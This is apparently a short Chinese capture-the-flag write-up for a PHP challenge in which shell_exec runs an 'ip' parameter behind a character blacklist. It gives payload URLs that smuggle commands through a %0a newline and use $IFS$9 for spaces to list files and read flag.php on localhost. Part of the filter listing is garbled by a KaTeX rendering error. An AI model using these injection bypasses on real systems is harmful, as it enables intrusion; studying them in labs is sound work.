Challenge_9

docker 拉取不了 给了源文件 开始代码审计
这个题 有全局变量 ip
shell_exec 函数 稳稳的RCE了

KaTeX parse error: Expected 'EOF', got '&' at position 30: …= array(<br />'&̲' => '',<br />…’ => ‘’,
‘(’ => ‘’,
‘)’ => ‘’,
‘`’ => ‘’,
‘||’ => ‘’,
);

存在过滤

尝试输入一个ip地址
是可以执行命令的 ，但是由于我这里是window系统 看看能不能存在 windows的过滤方法
找了半天没有存在的绕过windows的方法 ，这里由于是windows搭建的 参加的方法被过滤掉了
linux可以使用 %0a 去进行 绕过
完整payload

http://localhost:3000/challenge9.php?ip=127.0.0.1%0als

[http://localhost:3000/challenge9.php?ip=127.0.0.1%0acat$IFS$9flag.php](http://localhost:3000/challenge9.php?ip=\mathrm{127.0.0.1}$IFS$9flag.php)这里$IFS$9是绕过空格